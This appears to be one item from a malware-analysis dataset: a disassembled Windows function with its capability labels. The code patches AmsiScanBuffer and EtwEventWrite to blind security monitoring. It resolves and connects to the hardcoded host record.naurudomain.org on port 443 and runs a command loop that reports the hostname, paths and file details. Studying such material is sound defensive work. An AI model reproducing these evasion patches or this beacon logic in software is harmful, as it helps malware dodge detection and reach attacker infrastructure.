Function at 0x140073f10
Capabilities:
Allocate or change rwx memory
Connect socket
Contain obfuscated stackstrings
Execute shellcode via indirect call
Get file size
Get hostname
Initialize winsock library
Patch event tracing for windows function
Resolve dns
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rax, qword [0x14025e008]
xor rax, rsp
mov qword [rbp + 0x150], rax
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140075550
test al, al
je 0x1400749ca
mov dword [rsp + 0x54], 0x70055b8
mov word [rsp + 0x58], 0xc380
mov dword [rbp + 0x130], 0x69736d61
mov dword [rbp + 0x134], 0x6c6c642e
mov byte [rbp + 0x138], 0
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r14d, r14d
test rax, rax
je 0x14007402a
mov dword [rbp + 0x140], 0x69736d41
mov dword [rbp + 0x144], 0x6e616353
mov dword [rbp + 0x148], 0x66667542
mov word [rbp + 0x14c], 0x7265
mov byte [rbp + 0x14e], r14b
lea rdx, [rbp + 0x140]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x14007402a
mov dword [rsp + 0x50], r14d
lea r9, [rsp + 0x50]
lea edx, [r14 + 6]
lea r8d, [r14 + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rsp + 0x54]
mov dword [rbx], eax
movzx eax, word [rsp + 0x58]
mov word [rbx + 4], ax
lea r9, [rsp + 0x50]
mov r8d, dword [rsp + 0x50]
lea edx, [r14 + 6]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x50], r14d
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.EtwEventWrite
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea r9, [rsp + 0x50]
mov edx, 5
lea r8d, [rdx + 0x3b]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rbx], 0xc3c03348
lea r9, [rsp + 0x50]
mov r8d, dword [rsp + 0x50]
mov edx, 5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r8d, 5
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov ecx, 0x202
lea rdx, [rbp - 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400749ca
call fcn.140075df0
mov ecx, 8
call fcn.1401bc1fc
mov rdi, rax
mov qword [rax], r14
mov qword [rsp + 0x60], 0xfc00
cmp qword [0x140272578], r14
je 0x140074164
mov ecx, SafeArrayUnlock
lea r8, [rsp + 0x60]
lea edx, [rcx - 0x10]
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov rbx, rax
test rax, rax
je 0x140074164
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnlock]
test eax, eax
js 0x140074148
mov r8d, 0xfc00
lea rdx, [0x14025e1b0]
mov rcx, qword [rbx + 0x10]
call fcn.140199f60
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SafeArrayAccessData]
mov rcx, qword [0x140272578]
test rcx, rcx
je 0x1400749fc
mov rax, qword [rcx]
mov r8, rdi
mov rdx, rbx
call qword [rax + 0x168]
test eax, eax
jns 0x140074164
mov rcx, qword [rdi]
test rcx, rcx
je 0x140074157
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov edx, 8
mov rcx, rdi
call fcn.1401bc1f4
mov edi, r14d
mov r15d, 2
nop dword [rax]
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetDim
call fcn.1401a353c
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, str.record.naurudomain.org
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x1400741a2
mov rcx, rbx
call fcn.1401a28b8
jmp 0x14007499c
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdx, rbx
sub rdx, rax
nop word [rax + rax]
movzx ecx, byte [rax]
mov byte [rax + rdx], cl
lea rax, [rax + 1]
test cl, cl
jne 0x1400741c0
test rbx, rbx
je 0x14007499c
mov edx, 1
lea r8d, [rdx + 5]
mov ecx, r15d
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
mov qword [rsp + 0x68], rax
cmp rax, 0xffffffffffffffff
jne 0x1400741ff
mov rcx, r14
jmp 0x140074996
mov word [rbp - 0x80], r15w
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp - 0x7c], eax
mov ecx, 0x1bb
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp - 0x7e], ax
mov r8d, reloc.OLEAUT32.dll_SafeArrayGetDim
lea rdx, [rbp - 0x80]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_connect]
mov rcx, rsi
cmp eax, 0xffffffff
jne 0x140074248
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, r14
jmp 0x140074996
mov dword [rsp + 0x70], 1
mov dword [rsp + 0x74], 0x2710
mov dword [rsp + 0x78], 0x1388
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 8
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, rsi
test eax, eax
je 0x14007429b
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, r14
jmp 0x140074996
mov dword [rsp + 0x54], r14d
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
lea rax, [rsp + 0x54]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], reloc.WS2_32.dll_inet_ntoa
lea rax, [rbp + 0x140]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WS2_32.dll_inet_ntoa
lea r8, [rsp + 0x70]
mov edx, 0x98000004
call qword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x1400742f3
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, r14
jmp 0x140074996
test rsi, rsi
je 0x140074991
xor edx, edx
xor ecx, ecx
call fcn.14015d9c0
xor edx, edx
lea ecx, [rdx + 0xc]
call fcn.140077650
xor edx, edx
mov ecx, 0x200002
call fcn.14015d9c0
call fcn.14015ddb0
mov rcx, rax
call fcn.140159c70
mov rdi, rax
test rax, rax
je 0x14007498e
mov rcx, rax
call fcn.14015b1f0
mov rbx, rax
mov edx, esi
mov rcx, rax
call fcn.14015bb60
mov rcx, rbx
call fcn.14015a3a0
cmp eax, 0xffffffff
jne 0x14007436e
mov rcx, rbx
call fcn.14015bcc0
mov rcx, rbx
call fcn.14015a8a0
mov rcx, rdi
jmp 0x140074989
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetDim
call fcn.1401a353c
mov rsi, rax
mov qword [rsp + 0x60], rax
mov qword [rax], rdi
mov qword [rax + 8], rbx
mov edx, 0xa
mov rcx, rdi
call fcn.140158060
mov rcx, rsi
call fcn.1400750f0
test eax, eax
je 0x140074974
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetDim
call fcn.1401a353c
mov r13, rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov r8d, reloc.OLEAUT32.dll_SafeArrayGetDim
mov rdx, rax
mov rcx, qword [rsi + 8]
call fcn.14015b770
test eax, eax
jle 0x14007496c
mov ecx, dword [r13]
cmp ecx, 1
jne 0x140074500
cmp qword [r13 + 8], 0
jne 0x140074643
mov rsi, qword [rsi + 8]
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetDim
call fcn.1401a353c
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov r8d, reloc.OLEAUT32.dll_SafeArrayGetDim
mov rdx, rax
mov rcx, rsi
call fcn.14015b7d0
test eax, eax
jle 0x1400744ee
mov rcx, rbx
call fcn.1401a28b8
mov ecx, 0x400
call fcn.1401a353c
mov rbx, rax
xor edx, edx
mov r8d, 0x400
mov rcx, rax
call fcn.14019a610
mov edx, 0x400
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x1400744ee
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rbx + rcx], 0
jne 0x140074460
add rcx, 0x11
call fcn.1401a353c
mov rdi, rax
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140074480
add r8, 0x11
xor edx, edx
mov rcx, rdi
call fcn.14019a610
mov dword [rdi], 1
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], 0
jne 0x1400744a5
inc rax
mov qword [rdi + 8], rax
mov rdx, rbx
mov r8, rdi
sub r8, rbx
nop
movzx eax, byte [rdx]
mov byte [rdx + r8 + 0x10], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400744c0
mov rcx, rbx
call fcn.1401a28b8
mov r8d, dword [rdi + 8]
add r8d, 0x10
mov rdx, rdi
mov rcx, rsi
call fcn.14015bd80
mov rbx, rdi
mov rcx, rbx
call fcn.1401a28b8
mov rsi, qword [rsp + 0x60]
jmp 0x140074947
cmp ecx, 2
jne 0x140074643
cmp qword [r13 + 8], 0
jne 0x14007474d
mov rsi, qword [rsi + 8]
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetDim
call fcn.1401a353c
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov r8d, reloc.OLEAUT32.dll_SafeArrayGetDim
mov rdx, rax
mov rcx, rsi
call fcn.14015b7d0
test eax, eax
jle 0x140074631
mov rcx, rdi
call fcn.1401a28b8
lea rcx, str._get_location_.Path
call fcn.140074fe0
mov rbx, rax
lea rdi, [rax - 1]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140074566
add rcx, rdi
mov r8d, 1
lea rdx, [0x140244ef4]
call fcn.14019ec00
test eax, eax
jne 0x14007459f
mov rax, 0xffffffffffffffff
nop
lea rax, [rax + 1]
cmp byte [rbx + rax], 0
jne 0x140074590
xor ecx, ecx
mov byte [rax + rdi], cl
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rbx + rcx], 0
jne 0x1400745a6
add rcx, 0x11
call fcn.1401a353c
mov rdi, rax
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x1400745c2
add r8, 0x11
xor edx, edx
mov rcx, rdi
call fcn.14019a610
mov dword [rdi], r15d
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], 0
jne 0x1400745e4
inc rax
mov qword [rdi + 8], rax
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140074600
lea rcx, [rdi + 0x10]
mov rdx, rbx
call fcn.14019ea80
mov rcx, rbx
call fcn.1401a28b8
mov r8d, dword [rdi + 8]
add r8d, 0x10
mov rdx, rdi
mov rcx, rsi
call fcn.14015bd80
mov rcx, rdi
call fcn.1401a28b8
mov rsi, qword [rsp + 0x60]
jmp 0x140074947
cmp ecx, 3
jne 0x14007474d
mov rdi, qword [r13 + 8]
test rdi, rdi
je 0x140074917
mov r14, qword [rsi + 8]
lea rcx, [rdi + 0x11]
call fcn.1401a353c
mov rsi, rax
lea r8, [rdi + 0x11]
xor edx, edx
mov rcx, rax
call fcn.14019a610
lea r8d, [rdi + 0x10]
mov rdx, rsi
mov rcx, r14
call fcn.14015b7d0
test eax, eax
jle 0x14007473b
lea rcx, [rsi + 0x10]
call fcn.140074fe0
mov rbx, rax
mov rcx, rsi
call fcn.1401a28b8
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rbx + rcx], 0
jne 0x1400746b0
add rcx, 0x11
call fcn.1401a353c
mov rsi, rax
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x1400746d0
add r8, 0x11
xor edx, edx
mov rcx, rsi
call fcn.14019a610
mov dword [rsi], 3
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], 0
jne 0x1400746f5
inc rax
mov qword [rsi + 8], rax
mov rdx, rbx
mov r8, rsi
sub r8, rbx
nop
movzx eax, byte [rdx]
mov byte [rdx + r8 + 0x10], al
lea rdx, [rdx + 1]
test al, al
jne 0x140074710
mov rcx, rbx
call fcn.1401a28b8
mov r8d, dword [rsi + 8]
add r8d, 0x10
mov rdx, rsi
mov rcx, r14
call fcn.14015bd80
mov rcx, rsi
call fcn.1401a28b8
mov rsi, qword [rsp + 0x60]
jmp 0x140074947
cmp ecx, 4
jne 0x140074917
mov rdi, qword [r13 + 8]
test rdi, rdi
je 0x140074930
mov r12, qword [rsi + 8]
lea rcx, [rdi + 0x11]
call fcn.1401a353c
mov r15, rax
lea r8, [rdi + 0x11]
xor edx, edx
mov rcx, rax
call fcn.14019a610
lea r8d, [rdi + 0x10]
mov rdx, r15
mov rcx, r12
call fcn.14015b7d0
test eax, eax
jle 0x140074907
lea rbx, [r15 + 0x10]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rbx + rcx], 0
jne 0x1400747a3
add rcx, 0x31
call fcn.1401a353c
mov r14, rax
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x1400747c0
add r8, 0x31
xor edx, edx
mov rcx, r14
call fcn.14019a610
mov dword [r14], 4
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], 0
jne 0x1400747e6
add rax, 0x21
mov qword [r14 + 8], rax
xor edi, edi
mov qword [r14 + 0x18], rdi
mov dword [r14 + 0x2c], edi
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rbx + rax], dil
jne 0x140074810
mov dword [r14 + 0x28], eax
xor edx, edx
mov rcx, rbx
call fcn.1401c0778
test eax, eax
jne 0x1400748ba
mov dword [r14 + 0x10], 1
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [rax + 1]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14007487c
mov dword [0], 1
mov rsi, qword [rsp + 0x60]
jmp 0x1400748be
lea rdx, [rbp + 0x130]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 0xffffffff
jne 0x1400748a3
mov dword [0], 1
mov rsi, qword [rsp + 0x60]
jmp 0x1400748be
mov rdi, qword [rbp + 0x130]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x60]
jmp 0x1400748be
mov dword [r14 + 0x10], edi
mov qword [r14 + 0x20], rdi
mov rcx, rbx
mov rdx, r14
sub rdx, rbx
nop dword [rax + rax]
movzx eax, byte [rcx]
mov byte [rcx + rdx + 0x30], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400748d0
mov rax, 0xffffffffffffffff
lea rax, [rax + 1]
cmp byte [rbx + rax], 0
jne 0x1400748e6
lea r8d, [rax + 0x31]
mov rdx, r14
mov rcx, r12
call fcn.14015bd80
mov rcx, r14
call fcn.1401a28b8
mov rcx, r15
call fcn.1401a28b8
mov r15d, 2
jmp 0x140074947
cmp ecx, 5
jne 0x140074930
mov rdx, qword [r13 + 8]
test rdx, rdx
je 0x140074947
mov rcx, qword [rsi + 8]
call fcn.140074cd0
jmp 0x140074947
cmp ecx, 6
jne 0x140074947
mov rdx, qword [r13 + 8]
test rdx, rdx
je 0x140074947
mov rcx, qword [rsi + 8]
call fcn.140074a10
xorps xmm0, xmm0
movups xmmword [r13], xmm0
mov r8d, reloc.OLEAUT32.dll_SafeArrayGetDim
mov rdx, r13
mov rcx, qword [rsi + 8]
call fcn.14015b770
test eax, eax
jg 0x1400743d1
xor r14d, r14d
mov rcx, r13
call fcn.1401a28b8
mov rcx, qword [rsi + 8]
call fcn.14015bcc0
mov rcx, qword [rsi + 8]
call fcn.14015a8a0
mov rcx, qword [rsi]
call fcn.140159a70
mov edi, r14d
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WS2_32.dll_closesocket]
cmp edi, 3
jge 0x1400749b3
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
jmp 0x140074170
mov edi, 4
mov ecx, 0x927c0
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
jmp 0x140074170
xor eax, eax
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.1401bc1d0
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 0x80004003
call fcn.1401bd230
int3